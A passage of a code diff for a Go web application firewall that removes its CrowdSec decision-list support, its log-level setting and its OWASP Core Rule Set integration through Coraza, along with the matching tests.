// than 200, or a list longer than maxListBytes, is a failure.
func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
defer cancel()
@@ -441,14 +361,7 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
return nil, fmt.Errorf("make the request: %w", err)
}
client := l.httpClient
if listURL == l.params.CrowdSecDecisionsURL {
req.Header.Set("X-Api-Key", l.params.CrowdSecKey)
client = l.crowdSecClient
}
res, err := client.Do(req)
res, err := l.httpClient.Do(req)
if err != nil {
// Do's error names the URL, which the log line and the alert name
// already: only what went wrong is kept.
@@ -480,22 +393,16 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
return lines, nil
}
// parse reads the lines of the list at listURL, fetched at fetched: those
// of a blocklist, of the file of AS:percent lines, or of the CrowdSec
// decision list. In the first two, anything after a ; or a # on a line is
// parse reads the lines of the list at listURL: those of a blocklist, or
// of the file of AS:percent lines. Anything after a ; or a # on a line is
// left out, and so is a line left blank. Any other line that does not read
// is an error naming it by its number.
func (l *Lists) parse(
listURL string, lines []string, fetched time.Time,
) (entries, error) {
switch listURL {
case l.params.ASNLimitPercentURL:
func (l *Lists) parse(listURL string, lines []string) (entries, error) {
if listURL == l.params.ASNLimitPercentURL {
return parsePercents(lines)
case l.params.CrowdSecDecisionsURL:
return parseDecisions(lines, fetched)
default:
return parseNetblocks(lines)
}
return parseNetblocks(lines)
}
// parseNetblocks reads a blocklist's lines, each an address or a netblock
@@ -579,56 +486,6 @@ func parsePercents(lines []string) (entries, error) {
return found, nil
}
// parseDecisions reads the lines of the CrowdSec decision list fetched at
// fetched: the engine's answer, a JSON list of its decisions in force,
// null while it has none. A decision of the type ban whose scope is Ip or
// Range, as CrowdSec names them, bans its value, an address or a netblock
// as parseNetblock reads it, until its duration, the time it had left as
// the engine answered, has passed since fetched. Any other decision, such
// as one to show a captcha or one on a country, is left out. A decision
// to ban whose value or duration does not read is an error naming it by
// its number.
func parseDecisions(lines []string, fetched time.Time) (entries, error) {
var answer []struct {
Duration string `json:"duration"`
Scenario string `json:"scenario"`
Scope string `json:"scope"`
Type string `json:"type"`
Value string `json:"value"`
}
err := json.Unmarshal([]byte(strings.Join(lines, "\n")), &answer)
if err != nil {
return entries{}, fmt.Errorf("read the answer: %w", err)
}
found := entries{decisions: map[netip.Prefix]Decision{}}
for i, decision := range answer {
if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") {
continue
}
netblock, ok := parseNetblock(decision.Value)
duration, err := time.ParseDuration(decision.Duration)
if !ok || err != nil {
return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision)
}
expires := fetched.Add(duration)
if expires.After(found.decisions[netblock].Expires) {
found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario}
}
if !slices.Contains(found.lengths, netblock.Bits()) {
found.lengths = append(found.lengths, netblock.Bits())
}
}
return found, nil
}
// withoutComment returns line without anything after a ; or a #, and
// without the spaces around what is left.
func withoutComment(line string) string {
internal/reputation/reputation_test.go
+7 -15
View File
@@ -215,7 +215,12 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
// One alert for the first failure; the cooldown holds back the
// second.
wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error))
wantAlert(t, queue, alerts.Alert{
Time: time.Now().Add(-refresh),
Event: alerts.EventSourceFailure,
Reason: "fetching a list failed",
Detail: map[string]any{"source": dropURL, "error": tc.error},
})
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
`"url":"`+dropURL+`","error":"`+tc.error) {
@@ -530,9 +535,7 @@ func newQueue() *alerts.Queue {
// start returns the lists of p, fetched through servers by Run, which runs
// until the test ends, once Run has fetched those due at start.
func start(
t *testing.T, servers http.RoundTripper, p reputation.Params,
) *reputation.Lists {
func start(t *testing.T, servers *standIn, p reputation.Params) *reputation.Lists {
t.Helper()
lists := reputation.New(p)
@@ -594,17 +597,6 @@ func waiting(queue *alerts.Queue) []alerts.Alert {
return queue.Snapshot().Waiting[alerts.DestinationWebhook]
}
// fetchFailure is the source_failure alert raised at the time raised for
// a fetch of the list at listURL that failed with err.
func fetchFailure(raised time.Time, listURL, err string) alerts.Alert {
return alerts.Alert{
Time: raised,
Event: alerts.EventSourceFailure,
Reason: "fetching a list failed",
Detail: map[string]any{"source": listURL, "error": err},
}
}
// wantAlert checks that want is the one alert waiting in queue, and that
// the cooldown has held back one repeat of it.
func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
internal/requestlog/requestlog.go
+10 -32
View File
@@ -29,16 +29,11 @@ const (
// over a rate limit, which bans the client.
ActionRateLimited = "rate_limited"
// ActionBanned is a request refused because a ban covers its client,
// or because it matched a ban rule, asked for a trap path or the
// CrowdSec decision list lists its client, each of which bans the
// client.
// or because it matched a ban rule, which bans the client.
ActionBanned = "banned"
// ActionRuleBlocked is a request refused because it matched a block
// rule.
ActionRuleBlocked = "rule_blocked"
// ActionWAFBlocked is a request refused because the Core Rule Set
// scored it at or over SWWAF_WAF_ANOMALY_THRESHOLD.
ActionWAFBlocked = "waf_blocked"
// ActionDenied is a request refused because its client is in
// SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny,
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
@@ -52,14 +47,9 @@ const (
)
// OffenceLimit is the offence a request line names for a request that
// broke a rate limit or the error burst, or whose bytes broke a byte
// limit.
// broke a rate limit, or whose bytes broke a byte limit.
const OffenceLimit = "limit"
// LimitHitErrorBurst is the limit_hit a request line names for a request
// that broke the error burst.
const LimitHitErrorBurst = "error_burst"
// timeLayout is RFC 3339 with milliseconds.
const timeLayout = "2006-01-02T15:04:05.000Z07:00"
@@ -126,8 +116,8 @@ type Line struct {
Action string `json:"action"`
// WouldAction is, in observe mode, the action enforce mode would have
// taken with a request it would have refused: ActionDenied,
// ActionBanned, ActionCountryDenied, ActionRateLimited,
// ActionRuleBlocked or ActionWAFBlocked.
// ActionBanned, ActionCountryDenied, ActionRateLimited or
// ActionRuleBlocked.
WouldAction string `json:"would_action,omitempty"`
// LimitPercent and LimitPercentSetting are, for a request the rate
// limits counted whose client a biased threshold gives a percentage of
@@ -145,20 +135,13 @@ type Line struct {
Counts ratelimit.Counts `json:"counts,omitzero"`
// RuleIDs are the ids of the rule file rules the request matched.
RuleIDs []string `json:"rule_ids,omitempty"`
// WAFRuleIDs are the ids of the Core Rule Set's rules the request
// matched, and WAFScore its anomaly score, nil for a request the Core
// Rule Set did not inspect.
WAFRuleIDs []int `json:"waf_rule_ids,omitempty"`
WAFScore *int `json:"waf_score,omitempty"`
// LimitHit is the window whose limit the request went over, named as
// Counts names its count: minute, hour or day for a rate limit, and
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
// LimitHitErrorBurst for the error burst.
// minute_bytes, hour_bytes or day_bytes for a byte limit.
LimitHit string `json:"limit_hit,omitempty"`
// Reputation are the URLs of the blocklists that list the client, then
// that of the CrowdSec decision list when it does, then the DNSBL zones
// whose verdict lists it, their keys masked, then abuseipdb when its
// score is a hit.
// the DNSBL zones whose verdict lists it, their keys masked, then
// abuseipdb when its score is a hit.
Reputation []string `json:"reputation,omitempty"`
// Offence is the offence the request was held as, OffenceLimit.
Offence string `json:"offence,omitempty"`
@@ -167,15 +150,13 @@ type Line struct {
BanExpires string `json:"ban_expires,omitempty"`
// The timings, in milliseconds. DurationChecks is the time until the
// checks were done, and DurationWAF the part of it the Core Rule Set
// took. DurationUpstreamConnect, DurationUpstreamFirstByte and
// DurationUpstreamTotal run from when the request was handed to the
// checks were done. DurationUpstreamConnect, DurationUpstreamFirstByte
// and DurationUpstreamTotal run from when the request was handed to the
// app: until there was a connection to it, until the first byte of its
// answer arrived, and until the end. Each but DurationTotal is nil for
// a request that did not get that far.
DurationTotal float64 `json:"duration_total"`
DurationChecks *float64 `json:"duration_checks,omitempty"`
DurationWAF *float64 `json:"duration_waf,omitempty"`
DurationUpstreamConnect *float64 `json:"duration_upstream_connect,omitempty"`
DurationUpstreamFirstByte *float64 `json:"duration_upstream_first_byte,omitempty"`
DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"`
@@ -212,11 +193,8 @@ func Milliseconds(d time.Duration) float64 {
// NewProcessLogger returns the logger for the process's own messages:
// JSON lines on w, marked "type":"process", with the time in the same form
// as a request line's, and instanceName, SWWAF_INSTANCE_NAME, as instance.
// It writes only the messages at level, SWWAF_LOG_LEVEL, or more severe;
// the request lines Write writes are never held back.
func NewProcessLogger(w io.Writer, instanceName string, level slog.Level) *slog.Logger {
func NewProcessLogger(w io.Writer, instanceName string) *slog.Logger {
handler := slog.NewJSONHandler(w, &slog.HandlerOptions{
Level: level,
ReplaceAttr: func(groups []string, attr slog.Attr) slog.Attr {
if attr.Key == slog.TimeKey && len(groups) == 0 {
return slog.String(slog.TimeKey, FormatTime(attr.Value.Time()))
internal/requestlog/requestlog_test.go
+1 -48
View File
@@ -3,8 +3,6 @@ package requestlog_test
import (
"bytes"
"encoding/json"
"log/slog"
"slices"
"strings"
"testing"
"time"
@@ -72,8 +70,7 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
var out bytes.Buffer
requestlog.NewProcessLogger(&out, "fsn1app1/gitea", slog.LevelInfo).Info("starting",
"version", "v1")
requestlog.NewProcessLogger(&out, "fsn1app1/gitea").Info("starting", "version", "v1")
var fields map[string]any
@@ -97,47 +94,3 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
t.Errorf("process line time %q, want now in UTC with milliseconds", timeText)
}
}
func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
t.Parallel()
levels := []slog.Level{
slog.LevelDebug, slog.LevelInfo, slog.LevelWarn, slog.LevelError,
}
for i, level := range levels {
t.Run(level.String(), func(t *testing.T) {
t.Parallel()
var out bytes.Buffer
processLog := requestlog.NewProcessLogger(&out, "fsn1app1/gitea", level)
for _, at := range levels {
processLog.Log(t.Context(), at, "message")
}
var got, want []string
for line := range strings.Lines(out.String()) {
var fields struct {
Level string `json:"level"`
}
err := json.Unmarshal([]byte(line), &fields)
if err != nil {
t.Fatalf("decode %q: %v", line, err)
}
got = append(got, fields.Level)
}
for _, written := range levels[i:] {
want = append(want, written.String())
}
if !slices.Equal(got, want) {
t.Errorf("lines at %v, want %v", got, want)
}
})
}
}
internal/rules/rules.go
+6 -13
View File
@@ -396,23 +396,16 @@ func (rule Rule) matches(r *http.Request) bool {
return rule.regex.MatchString(value(rule.Target, r))
}
// Path returns r's path as the client sent it, before any decoding or
// re-encoding, up to the first ?: what a path rule is matched against.
func Path(r *http.Request) string {
path, _, _ := strings.Cut(pathAndQuery(r), "?")
return path
}
// value returns what a rule with target, other than uri, is matched
// against in r: the path, as Path gives it, and the query as the client
// sent it, before any decoding or re-encoding, after the first ?, and a
// header's values joined by ", ", as HTTP joins those of a header sent
// more than once.
// against in r: the path and the query as the client sent them, before
// any decoding or re-encoding, split at the first ?, and a header's values
// joined by ", ", as HTTP joins those of a header sent more than once.
func value(target string, r *http.Request) string {
switch target {
case "path":
return Path(r)
path, _, _ := strings.Cut(pathAndQuery(r), "?")
return path
case "query":
_, query, _ := strings.Cut(pathAndQuery(r), "?")
internal/smallwebwaf/smallwebwaf.go
+2 -7
View File
@@ -70,10 +70,8 @@ func Main(version string) int {
// state files, then serves requests until ctx is done. It returns the
// process's exit status, 1 when smallwebwaf cannot start.
func Run(ctx context.Context, params Params) int {
// Until the settings are read, the one message is an invalid setting's
// error, which every SWWAF_LOG_LEVEL lets through.
processLog := requestlog.NewProcessLogger(params.Stdout,
config.InstanceName(params.LookupEnv), slog.LevelError)
config.InstanceName(params.LookupEnv))
cfg, err := config.FromEnvironment(params.LookupEnv)
if err != nil {
@@ -91,11 +89,8 @@ func Run(ctx context.Context, params Params) int {
if cfg.LogRemoteURL != nil {
remote = newRemoteLogSender(cfg)
stdout = io.MultiWriter(params.Stdout, remote)
}
processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName)
processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName, cfg.LogLevel)
if remote != nil {
stopSending := startSending(ctx, remote, processLog)
defer stopSending()
}
internal/smallwebwaf/smallwebwaf_test.go
-122
View File
@@ -249,54 +249,6 @@ func TestServesUntilToldToStop(t *testing.T) {
out.line(t, "msg", "stopped")
}
func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
t.Parallel()
// A list that cannot be fetched has a warning written once smallwebwaf
// serves, after its starting line.
lists := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusServiceUnavailable)
}))
t.Cleanup(lists.Close)
ctx, stop := context.WithCancel(t.Context())
out := &output{}
exited := make(chan int, 1)
go func() {
exited <- run(ctx, map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
"SWWAF_BLOCKLIST_URLS": lists.URL + "/tor.txt",
"SWWAF_LOG_LEVEL": "warn",
}, out)
}()
out.line(t, "msg", "fetching a list failed")
stop()
select {
case status := <-exited:
if status != 0 {
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
}
case <-time.After(waitLimit):
t.Fatal("still running after being told to stop")
}
// Not one of the info lines from the start to the stop.
for line := range strings.Lines(out.text()) {
var fields map[string]any
err := json.Unmarshal([]byte(line), &fields)
if err != nil || fields["level"] == "INFO" {
t.Errorf("line %q (%v), want none at info", line, err)
}
}
}
func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) {
t.Parallel()
@@ -716,80 +668,6 @@ func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T)
}
}
func TestCrowdSecDecisionListKeptInReputationJSONAcrossARestart(t *testing.T) {
t.Parallel()
const bouncerKey = "crowdsec-key-0123456789abcdef"
// A stand-in for the engine's local API, which bans 203.0.113.0/24 for
// four hours, and answers only a request with its key, while it is up.
down := new(atomic.Bool)
engine := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, r *http.Request) {
switch {
case r.URL.Path != "/v1/decisions" || r.Header.Get("X-Api-Key") != bouncerKey:
w.WriteHeader(http.StatusForbidden)
case down.Load():
w.WriteHeader(http.StatusServiceUnavailable)
default:
_, _ = io.WriteString(w, `[{"duration": "4h0m0s", "origin": "crowdsec", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
`"type": "ban", "value": "203.0.113.0/24"}]`)
}
}))
t.Cleanup(engine.Close)
dir := t.TempDir()
env := map[string]string{
listenAddr: localhost + ":0",
upstreamURL: startApp(t),
stateDir: dir,
rulesDir: t.TempDir(),
trustedProxies: localhost + "/32",
"SWWAF_CROWDSEC_LAPI_URL": engine.URL,
"SWWAF_CROWDSEC_LAPI_KEY": bouncerKey,
}
// Once the list is fetched, the client's request bans it.
first := runUntilStopped(t, env, func(url string) {
for statusFrom(t, url, placed) != http.StatusForbidden {
time.Sleep(pollInterval)
}
})
ban := onlyBan(t, dir)
if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
t.Errorf("bans.json holds %v, want the ban for crowdsec on %s", ban, placed)
}
// Restarted with the engine down, the copy kept in reputation.json bans
// another client in the netblock from its first request.
down.Store(true)
second := runUntilStopped(t, env, func(url string) {
wantStatus(t, url, "203.0.113.10", http.StatusForbidden)
})
// The key is in neither run's output, nor in a state file.
files := []string{"bans.json", "reputation.json", "clients.json"}
shown := make([]string, 0, len(files)+2)
shown = append(shown, first.text(), second.text())
for _, name := range files {
data, err := os.ReadFile(filepath.Join(dir, name)) //nolint:gosec // the test's
if err != nil {
t.Fatalf("read %s: %v", name, err)
}
shown = append(shown, string(data))
}
if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
t.Errorf("the key is shown in the output or the state files:\n%s", all)
}
}
// wantDeniedByList checks that the request log line is of a request the
// blocklist at listURL refused.
func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
internal/state/state.go
+7 -10
View File
@@ -60,7 +60,7 @@ var (
errVersion = errors.New("unknown version")
// errMissing is for an entry without a field it needs.
errMissing = errors.New("has no")
errCause = errors.New("is not limit, attack, admin or crowdsec")
errCause = errors.New("is not limit, attack or admin")
errDestination = errors.New("is not webhook, slack or ntfy")
errScope = errors.New("is not client, net, asn, total or watch")
errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` +
@@ -647,7 +647,7 @@ func (e BanEntry) ban() bans.Ban {
// worked out, or an expires, which would make it permanent. A permanent
// ban's expires is null, which Bans cannot tell from a missing one, so
// each expires is read again as written. A cause other than limit,
// attack, admin or crowdsec, most likely misspelt, is refused too.
// attack or admin, most likely misspelt, is refused too.
func (f *bansFile) check(data []byte) error {
var written struct {
Bans []struct {
@@ -669,8 +669,7 @@ func (f *bansFile) check(data []byte) error {
case written.Bans[i].Expires == nil:
return missing(i, "expires")
case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
entry.Cause != bans.CauseCrowdSec:
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin:
return fmt.Errorf("entry %d's cause %q %w", i+1, entry.Cause, errCause)
}
}
@@ -679,8 +678,8 @@ func (f *bansFile) check(data []byte) error {
}
// check refuses a client without its address, which would count nobody's
// requests, or with requests, bytes or refusals in a window but no start,
// which would drop them and give the client a fresh allowance.
// requests, or with requests or bytes in a window but no start, which
// would drop them and give the client a fresh allowance.
func (f *clientsFile) check([]byte) error {
for i, client := range f.Clients {
switch {
@@ -698,8 +697,6 @@ func (f *clientsFile) check([]byte) error {
return missing(i, "hour_bytes.start")
case countsWithoutStart(client.DayBytes):
return missing(i, "day_bytes.start")
case countsWithoutStart(client.MinuteRefusals):
return missing(i, "minute_refusals.start")
}
}
@@ -900,8 +897,8 @@ func missingFromCounter(counter anomaly.Counter) string {
}
}
// countsWithoutStart reports whether b holds requests, bytes or refusals
// but no start, which places them in time.
// countsWithoutStart reports whether b holds requests, or bytes, but no
// start, which places them in time.
func countsWithoutStart(b ratelimit.Buckets) bool {
return b.Start.IsZero() && (b.Current != 0 || b.Previous != 0)
}
internal/state/state_test.go
+9 -38
View File
@@ -75,15 +75,6 @@ const permanentBansJSON = `{
"limit": 1000,
"window": "minute",
"count": 1000.5,
"reputation": [
{
"source": "https://lists.example/drop.txt"
},
{
"source": "abuseipdb",
"score": 100
}
],
"request": {
"time": "2026-10-06T00:00:00Z",
"method": "GET",
@@ -97,8 +88,7 @@ const permanentBansJSON = `{
"earlier_bans": {
"limit": 3,
"attack": 1,
"admin": 1,
"crowdsec": 2
"admin": 1
}
}
}
@@ -639,15 +629,6 @@ func TestEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
}
}
func TestClientWithRefusalsInTheMinuteWithoutTheirStartStopsTheStart(t *testing.T) {
t.Parallel()
wantRefused(t, clientsJSON,
`{"version": 1, "clients": [{"client": "203.0.113.9/32", `+
`"minute_refusals": {"current": 2}}]}`,
`: entry 1 has no "minute_refusals.start"`)
}
func TestReputationJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
t.Parallel()
@@ -859,10 +840,8 @@ func TestBanWithAnotherCauseStopsTheStart(t *testing.T) {
`{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+
`"expires": null, "cause": "admin"}, `+
`{"netblock": "203.0.113.11/32", "start": "2026-10-06T00:00:00Z", `+
`"expires": "2026-10-06T04:00:00Z", "cause": "crowdsec"}, `+
`{"netblock": "203.0.113.12/32", "start": "2026-10-06T00:00:00Z", `+
`"expires": null, "cause": "atack"}]}`,
`: entry 4's cause "atack" is not limit, attack, admin or crowdsec`)
`: entry 3's cause "atack" is not limit, attack or admin`)
}
func TestUnknownVersionStopsTheStart(t *testing.T) {
@@ -940,7 +919,7 @@ func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) {
load(t, read)
want := []bans.Ban{first, second}
if got := read.Ledger.Snapshot(); !reflect.DeepEqual(got, want) {
if got := read.Ledger.Snapshot(); !slices.Equal(got, want) {
t.Errorf("bans.json holds %+v, want %+v", got, want)
}
@@ -1700,7 +1679,7 @@ func newParams(dir string) state.Params {
AttackBanDuration: 7 * 24 * time.Hour,
MaxBans: 5000,
}),
Limiter: ratelimit.New(ratelimit.Limits{}, 20000),
Limiter: ratelimit.New(ratelimit.Limits{}),
GeoJS: lookup.New(lookup.Params{
Now: midnight, ProcessLog: discard, Metrics: m,
}),
@@ -1738,9 +1717,8 @@ func office() netip.Prefix {
return netip.MustParsePrefix("203.0.113.0/24")
}
// fill puts a permanent ban an admin made, a ban for a broken limit, one
// for a clear sign of attack and one for CrowdSec's decision, clients
// with counts and histories,
// fill puts a permanent ban an admin made, a ban for a broken limit and
// one for a clear sign of attack, clients with counts and histories,
// GeoJS answers, the blocklists' last tries and the copy of one, two
// verdicts of a DNSBL zone, and the AbuseIPDB checks spent today with two
// scores, as filledReputationJSON holds them, and alerts
@@ -1756,8 +1734,6 @@ func fill(params state.Params) {
})
params.Ledger.BanForAttack(netip.MustParsePrefix("192.0.2.1/32"), now,
bans.Notes{RuleID: "env-file", Target: "path"})
params.Ledger.BanForCrowdSec(netip.MustParsePrefix("198.51.100.9/32"), now,
now.Add(4*time.Hour), "crowdsecurity/ssh-bf", bans.Notes{})
for _, c := range []string{"2001:db8::/64", "203.0.113.9/32", "192.0.2.1/32"} {
params.Limiter.Count(netip.MustParsePrefix(c), now, whole)
@@ -1832,8 +1808,6 @@ func fill(params state.Params) {
// permanentBan is the ban permanentBansJSON holds.
func permanentBan() bans.Ban {
score := int64(100)
return bans.Ban{
Netblock: netip.MustParsePrefix("2001:db8::/64"),
Start: midnight(),
@@ -1846,9 +1820,6 @@ func permanentBan() bans.Ban {
Limit: 1000,
Window: "minute",
Count: 1000.5,
Reputation: []bans.ReputationHit{
{Source: blocklistURL}, {Source: reputation.AbuseIPDBSource, Score: &score},
},
Request: bans.Request{
Time: midnight(),
Method: "GET",
@@ -1859,7 +1830,7 @@ func permanentBan() bans.Ban {
},
Requests: 1500,
Refused: 3,
EarlierBans: bans.EarlierBans{Limit: 3, Attack: 1, Admin: 1, CrowdSec: 2},
EarlierBans: bans.EarlierBans{Limit: 3, Attack: 1, Admin: 1},
},
}
}
@@ -2024,10 +1995,10 @@ func edit(t *testing.T, dir, name, content string) {
// wantEqual checks that the entries read back from file are those
// written.
func wantEqual[E any](t *testing.T, file string, got, want []E) {
func wantEqual[E comparable](t *testing.T, file string, got, want []E) {
t.Helper()
if !reflect.DeepEqual(got, want) {
if !slices.Equal(got, want) {
t.Errorf("%s read back\n%+v\nwant\n%+v", file, got, want)
}
}
internal/waf/waf.go
-336
View File
@@ -1,336 +0,0 @@
// Package waf runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWWAF_WAF_BODY_LIMIT is set, with the six changes smallwebwaf
// makes to it, as "Attack detection" under "Configuration surface" in
// SPEC.md describes them. It reads no response.
//
// smallwebwaf writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
// file in a multipart body, Coraza then counts the bytes instead of
// writing them to the system's temporary directory.
package waf
import (
"fmt"
"io"
"net/http"
"net/netip"
"slices"
"strconv"
"strings"
coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
"github.com/corazawaf/coraza/v3"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
"github.com/corazawaf/coraza/v3/types"
)
// directives are the Core Rule Set as smallwebwaf runs it, with the
// paranoia level for %d, and bodyDirectives for %s while
// SWWAF_WAF_BODY_LIMIT is set. Each rule smallwebwaf adds has an id from
// 900000 to 900999, the ids the Core Rule Set keeps for the rules that set
// it up, which SWWAF_WAF_DISABLED_RULES refuses, so that no setting
// switches one off. Coraza joins a line ending in \ to the next, without
// the spaces at the start of the next.
const directives = `
# The engine only detects. smallwebwaf compares the request's anomaly
# score with SWWAF_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
# alike. It reads no body, unless bodyDirectives switch that on.
SecRuleEngine DetectionOnly
SecRequestBodyAccess Off
SecResponseBodyAccess Off
Include @crs-setup.conf.example
SecAction "id:900000,phase:1,pass,nolog,\
setvar:tx.blocking_paranoia_level=%d"
# The first change: PUT, PATCH and DELETE are allowed besides GET, HEAD,
# POST and OPTIONS.
SecAction "id:900200,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'"
# The second: Expect and Content-Encoding are taken off the Core Rule Set's
# list of the headers it refuses. Content-Encoding goes back on it for a
# body the Core Rule Set reads (900260 in bodyDirectives).
SecAction "id:900250,phase:1,pass,nolog,\
setvar:'tx.restricted_headers_basic=/proxy/ /lock-token/ /content-range/ \
/if/ /x-http-method-override/ /x-http-method/ /x-method-override/ \
/x-middleware-subrequest/'"
%s
# Coraza keeps the first 1000 query parameters of a request, and the first
# 1000 fields of a form data or JSON body, and drops the rest, which no
# rule then reads, so a request with more adds 5 to the score, as a rule
# the Core Rule Set rates critical does. Coraza's recommended
# configuration refuses such a request in its rules 200004 and 200005.
# This rule runs once the body is read, and before the Core Rule Set adds
# up the score in the same phase.
SecArgumentsLimit 1000
SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
# The sixth: only the rules for requests are loaded, and no response is
# inspected.
Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here, and in the fourth,
# without regard to case. ARGS holds the fields of a form data or multipart
# body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: the query parameters in which gitea sends names within a
# repository or its own records, or a page of its own site, are not
# checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, or for Java starting a process. The cookies are left out in
# Inspect.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
`
// bodyDirectives have the Core Rule Set read the part of a request body
// Inspect gives it, which is at most one byte longer than the limit, up to
// the limit, %d bytes, and read JSON and XML as Coraza's recommended
// configuration has it in its rules 200000, 200001 and 200006, with
// text/json, and any application or text type ending in +xml or +json,
// besides; form data and multipart Coraza knows by itself. %% stands for
// a % Coraza reads.
const bodyDirectives = `
SecRequestBodyAccess On
SecRequestBodyLimit %d
SecRequestBodyLimitAction ProcessPartial
SecRule REQUEST_HEADERS:Content-Type \
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?xml" \
"id:900410,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=XML"
SecRule REQUEST_HEADERS:Content-Type \
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?json" \
"id:900420,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=JSON"
# The rest of the second change: Content-Encoding is refused again on a
# body of a kind the Core Rule Set reads, since a compressed body cannot be
# inspected.
SecRule REQBODY_PROCESSOR "@rx ^(?:URLENCODED|MULTIPART|JSON|XML)$" \
"id:900260,phase:1,pass,nolog,\
setvar:'tx.restricted_headers_basic=%%{tx.restricted_headers_basic} \
/content-encoding/'"
# A body Coraza fails to parse (900440), and a multipart body that fails
# its strict checks (900450), each add 5 to the score, as a rule the Core
# Rule Set rates critical does: no rule reads what comes after the fault,
# which the app may still read. Coraza's recommended configuration refuses
# them in its rules 200002 and 200003. A multipart body the limit cuts
# before the colon of a part's header line, or between the carriage return
# and the line feed that end a part's header line or the empty line after
# its headers, adds 5 too, since Coraza takes the line the limit cuts for a
# malformed header. Coraza parses any form data body.
SecRule REQBODY_ERROR "!@eq 0" "id:900440,phase:2,pass,severity:'CRITICAL',\
setvar:'tx.inbound_anomaly_score_pl1=+5'"
SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
`
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
// Params are what New needs.
type Params struct {
// ParanoiaLevel is SWWAF_WAF_PARANOIA_LEVEL, from 1 to 4.
ParanoiaLevel int
// DisabledRules are the ids of the rules switched off
// (SWWAF_WAF_DISABLED_RULES).
DisabledRules []int
// BodyLimit is the most of a request body the Core Rule Set reads
// (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none.
BodyLimit int64
}
